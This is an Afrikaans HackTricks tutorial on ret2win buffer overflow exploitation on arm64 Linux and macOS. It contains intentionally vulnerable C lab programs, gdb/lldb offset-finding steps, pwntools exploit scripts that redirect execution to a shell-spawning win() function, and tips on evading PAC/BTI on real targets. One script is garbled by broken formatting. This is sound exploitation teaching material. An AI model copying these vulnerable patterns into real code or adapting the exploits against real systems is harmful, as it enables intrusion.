Ret2win - arm64
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Vind ’n inleiding tot arm64 in:
Kode
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Kompileer sonder pie en canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Die ekstra vlag
-mbranch-protection=nonedeaktiveer AArch64 Branch Protection (PAC/BTI). As jou toolchain standaard PAC of BTI aktiveer, hou dit die laboratorium reproduceerbaar. Om te kontroleer of ’n saamgestelde binary PAC/BTI gebruik, kan jy: - Kyk vir AArch64 GNU properties:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- Inspecteer prologues/epilogues vir
paciasp/autiasp(PAC) of virbti clanding pads (BTI): objdump -d ret2win | head -n 40
AArch64 calling convention quick facts
- Die link register is
x30(ook bekend aslr), en funksies stoor gewoonlikx29/x30metstp x29, x30, [sp, #-16]!en herstel hulle metldp x29, x30, [sp], #16; ret. - Dit beteken die gestoorde terugkeeradres lê by
sp+8relatief tot die raambasis. Met ’nchar buffer[64]geplaas hieronder, is die gewone oorskry-afstand na die gestoordex3064 (buffer) + 8 (gestoorde x29) = 72 bytes — presies wat ons hieronder sal vind. - Die stack pointer moet by funksiegrense 16‑byte uitgelyk bly. As jy later ROP chains bou vir meer komplekse scenario’s, behou die SP-uitgelyking of jy kan by funksie-epiloges crash.
Finding the offset
Pattern option
This example was created using GEF:
Start gdb with gef, create pattern and use it:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 sal probeer terug te keer na die adres in die register x30 (wat gekompromitteer is), ons kan dit gebruik om die pattern offset te vind:
pattern search $x30
.png)
Die offset is 72 (9x48).
Stack offset opsie
Begin deur die stack adres te kry waar die pc register gestoor is:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Stel nou ’n breakpoint ná die read() en gaan voort totdat die read() uitgevoer word en stel ’n patroon soos 13371337:
b *vulnerable_function+28
c
.png)
Vind waar hierdie patroon in geheue gestoor is:
.png)
Dan: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Regulier
Kry die adres van die win funksie:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
In werklikheid gaan dit meer soos ’n off-by-2 wees in die gestoorde PC op die stack. In plaas daarvan om die hele return address te oorskryf, gaan ons slegs die laaste 2 bytes oorskryf met 0x06c4.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Jy kan nog ’n off-by-one-voorbeeld in ARM64 vind by https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, wat ’n werklike off-by-one is in ’n fiktiewe kwetsbaarheid.
Met PIE
Tip
Kompileer die binary sonder die
-no-pieargument
Off-by-2
Sonder ’n leak weet ons nie die presiese adres van die win function nie, maar ons kan die offset van die funksie binne die binary bepaal. Aangesien die return address wat ons oorskryf reeds na ’n nabye adres wys, is dit in hierdie geval moontlik om die offset na die win function (0x7d4) te leak en net daardie offset te gebruik:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
Kompileer sonder canary (in macOS kan jy PIE nie deaktiveer nie):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Voer uit sonder ASLR (alhoewel ons ’n address leak het, het ons dit nie nodig nie):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
Dit is nie moontlik om NX in macOS uit te skakel nie, omdat hierdie modus op arm64 op hardewarevlak geïmplementeer is. Jy kan dit dus nie uitskakel nie, en daarom sal jy nie voorbeelde met shellcode op die stack in macOS vind nie.
Vind die offset
- Genereer ’n patroon:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- Voer die program uit en voer die pattern in om ’n crash te veroorsaak:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- Kontroleer register
x30(die retuuradres) om die offset te vind:
(lldb) register read x30
- Gebruik
cyclic -l <value>om die presiese offset te vind:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- So het ek die offset
72gevind; deur in daardie offset die address vanwin()te plaas, kan jy daardie function execute en ’n shell kry (running without ASLR).
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 2de voorbeeld
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
Kompileer sonder canary (op macOS kan jy nie PIE deaktiveer nie):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Vind die offset
- Genereer ’n patroon in die lêer
/tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- Voer die program uit om ’n crash te veroorsaak:
lldb ./bof_macos
(lldb) run
- Kontroleer register
x30(the return address) om die offset te vind:
(lldb) register read x30
- Gebruik
cyclic -l <value>om die presiese offset te vind:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- Dit is hoe ek die offset
72gevind het; deur by daardie offset die adres van diewin()funksie in te sit, kan jy daardie funksie uitvoer en ’n shell kry (wat sonder ASLR loop).
Bereken die adres van win()
- Die binêre is PIE, deur die leak van die
leak_anchor()funksie te gebruik en die offset van diewin()funksie vanaf dieleak_anchor()funksie te ken, kan ons die adres van diewin()funksie bereken.
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- Die offset is
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
Aantekeninge oor moderne AArch64-verharding (PAC/BTI) en ret2win
- As die binêre met AArch64 Branch Protection saamgestel is, kan jy
paciasp/autiaspofbti cin funksie-prologusse/-epilogusse sien. In daardie geval: - Om na ’n adres terug te keer wat nie ’n geldige BTI landing pad is nie, kan
SIGILLveroorsaak. Mik eerder op die presiese funksie-invoer watbti cbevat. - As PAC geaktiveer is vir returns, naïewe return-adres-oorskrywings kan misluk omdat die epiloog
x30autentiseer. Vir leerscenario’s, bou weer met-mbranch-protection=none(hierbo getoon). Wanneer jy werklike teikens aanval, verkies nie-return-kapings (bv. funksie-aanwyser-oorskrywings) of bou ROP wat nooit ’nautiasp/retpaar uitvoer wat jou vervalste LR autentiseer nie. - Om kenmerke vinnig te kontroleer:
readelf --notes -W ./ret2winen kyk virAARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PACnotas.objdump -d ./ret2win | head -n 40en kyk virbti c,paciasp,autiasp.
Hardloop op nie‑ARM64‑gasheerrekenaars (qemu‑user quick tip)
As jy op x86_64 is maar AArch64 wil oefen:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Verwante HackTricks-bladsye
Verwysings
- Aktivering van PAC en BTI op AArch64 vir Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Prosedure-oproepstandaard vir die Arm 64-bit-argitektuur (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


